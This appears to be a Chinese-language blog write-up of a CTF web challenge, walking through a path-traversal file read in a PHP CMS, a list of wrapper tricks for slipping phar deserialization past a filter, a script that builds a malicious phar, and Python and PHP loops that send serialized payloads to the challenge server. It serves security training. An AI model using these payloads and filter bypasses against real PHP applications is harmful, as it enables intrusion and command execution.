DJBCTF2021-WEB-虎山行

前言

刚结束的DJBCTF的一道web题,当时看到这么多代码太懒了没去审,其实这题并不难,自己还是太菜了,没去审的另一个原因也是自己太菜了觉得自己审不出来什么,还是需要克服困难去挑战自己啊。而且这个题目也比较有意思,关于那个phar反序列化的知识和一个大师傅讨论后也学习到了超级多的东西,对于phar反序列化的理解也是加深了许多。

WP

虎山行有2题,本来是1题,但是因为被minicms本身install.php这个鸡肋的RCE给非预期了,所以又出了第二题。不过拿install.php秒第一题是真的爽(笑)。
把源码下载下来,拿Seay审一下,经过一系列的审计,最终把利用点定位到page-edit.php:

} else if (isset($_GET['file'])) {
    
    
  $file_path = '../mc-files/pages/data/'.$_GET['file'];
  
  $data = (file_get_contents($file_path));
  
  $page_file        = $data['file'];
  $page_path        = $data['path'];
  $page_state       = $data['state'];
  $page_title       = $data['title'];
  $page_content     = $data['content'];
  $page_date        = $data['date'];
  $page_time        = $data['time'];
  $page_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
  echo $data;
}

可以发现可以读取任意的文件,把文件内容直接echo。直接读/flag,提示去目录hsxhsxhsxctfshowsecretfilel看看。读一下这个目录:

?file=/mc-admin/page-edit.php?file=../../../../../../var/www/html/hsxhsxhsxctfshowsecretfilel/index.php

读到了index.php,同时还知道了waf.php:

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    
    
    public $ctfer = 'shower';
    public function __destruct(){
    
    
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
<?php
function waf($file){
    
    
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
    
    
        die("姿势太简单啦,来一点骚的?!");
    }else{
    
    
        return $file;
    }
}

反序列化攻击肯定是很明显的,但是怎么利用,如果对于phar反序列化不是太了解的话还是比较难想到的。但是看到了readgzfile这个函数。如果对于利用compress.bzip2、zlib来绕过以phar开头的phar反序列化攻击了解过的话,会想到这个:
在这里插入图片描述
正好有个readgzfile。再看看waf.php里面正好ban了以phar开头和compress开头,那么就很明显了。顺便记一下绕过ban了phar开头的phar反序列化攻击trick:

  • compress.zlib://phar://phar.jpg
  • compress.zlib2://phar://phar.jpg
  • compress.bzip://phar:
  • compress.bzip2://phar:
  • php://filter/resource=phar://

对于本题这个特殊的函数,则可以利用zlib:phar://
构造phar文件:

<?php

class Ctfshow{
    
    
    public $ctfer = 'shower';
    public function __destruct(){
    
    
        system('cp /hint* /var/www/html/hint.txt');
    }
}

@unlink("phar.jpg");
$phar = new Phar("phar.jpg"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Ctfshow();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后在upload.php那里上传。但是上传后的文件名不知道。又从大师傅们的WP里学习到了新姿势,bp抓包上传,从响应头里得到时间戳,然后转换成unix再处理就可以知道了:

<?php
$filename=substr(md5(strtotime('Mon, 25 Jan 2021 05:14:28 GMT')),0,8);
echo $filename;

hint.txt又提示了hsxctfshowsecretgetflagl目录。
再把这个目录里的index.php读一下:

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    
    
    public $username='Firebasky';
    public $password;
    function __destruct() {
    
    
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
    
    
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

还是反序列化,而且还是条件竞争。不过system函数并没有执行成功,好像是题目的环境权限没有设好导致的。但是对我来说相对有些迷的是那个(int)md5(time())如何构造,用PHP的话我不会curl,python的话对于md5的结果转int好像没有很好的处理。
看了一个大师傅是直接没有管int,就按字符串传过去,反正是弱类型比较,还是可以成功的:

import time
import requests
import hashlib

url="http://0aa3beae-6f38-46b7-a547-f27ce3a6a9d7.chall.ctf.show/hsxctfshowsecretgetflagl/index.php?unser="
payload='O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"%s";}'

while 1:
    pay=str(int(time.time()))
    m = hashlib.md5()
    m.update(pay.encode("utf-8"))
    pay = m.hexdigest()
    #print(payload)
    pp=payload%(pay)
    r=requests.get(url=url+pp).text
    print(r)

还有大师傅是拿PHP做的,这里放一下:

#Author: Y4tacker
<?php
class Unser {
    
    
	public $username='ctfshow';
	public $password;
	function __construct(){
    
    
    	$this->password=(int)md5(time());
	}
}
$a = new Unser();
$c = serialize($a);

function curl_get($url){
    
    

	$header = array(
		'Accept: application/json',
	);
	$curl = curl_init();
	//设置抓取的url
	curl_setopt($curl, CURLOPT_URL, $url);
	//设置头文件的信息作为数据流输出
	curl_setopt($curl, CURLOPT_HEADER, 0);
	// 超时设置,以秒为单位
	curl_setopt($curl, CURLOPT_TIMEOUT, 1);

	// 超时设置,以毫秒为单位
	// curl_setopt($curl, CURLOPT_TIMEOUT_MS, 500);

	// 设置请求头
	curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
	//设置获取的信息以文件流的形式返回,而不是直接输出。
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
	//执行命令
	$data = curl_exec($curl);

	// 显示错误信息
	if (curl_error($curl)) {
    
    
		print "Error: " . curl_error($curl);
	} else {
    
    
		// 打印返回的内容
		var_dump($data);
		curl_close($curl);
	}
}
$url = 'http://d3cecf07-1443-4836-bb32-f1f48eed47da.chall.ctf.show/ctfshowgetflaghhhh/?unser='.$c;
curl_get($url);

对于其中CRUL的那些不是太懂,不过以后需要了直接用就可以了。膜大师傅们。

扫描二维码关注公众号,回复: 12571712 查看本文章

反思

说难其实也不算难的一题,主要还是自己并没有真正的审过CMS,一看到这么多代码就觉得自己不可能审出来,就放弃了。其实如果肯花时间还是很大机会啃下来的,终究还是错付了!既然代码审计的能力太差,那就更需要去审更多的代码才是而不是畏难。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113109291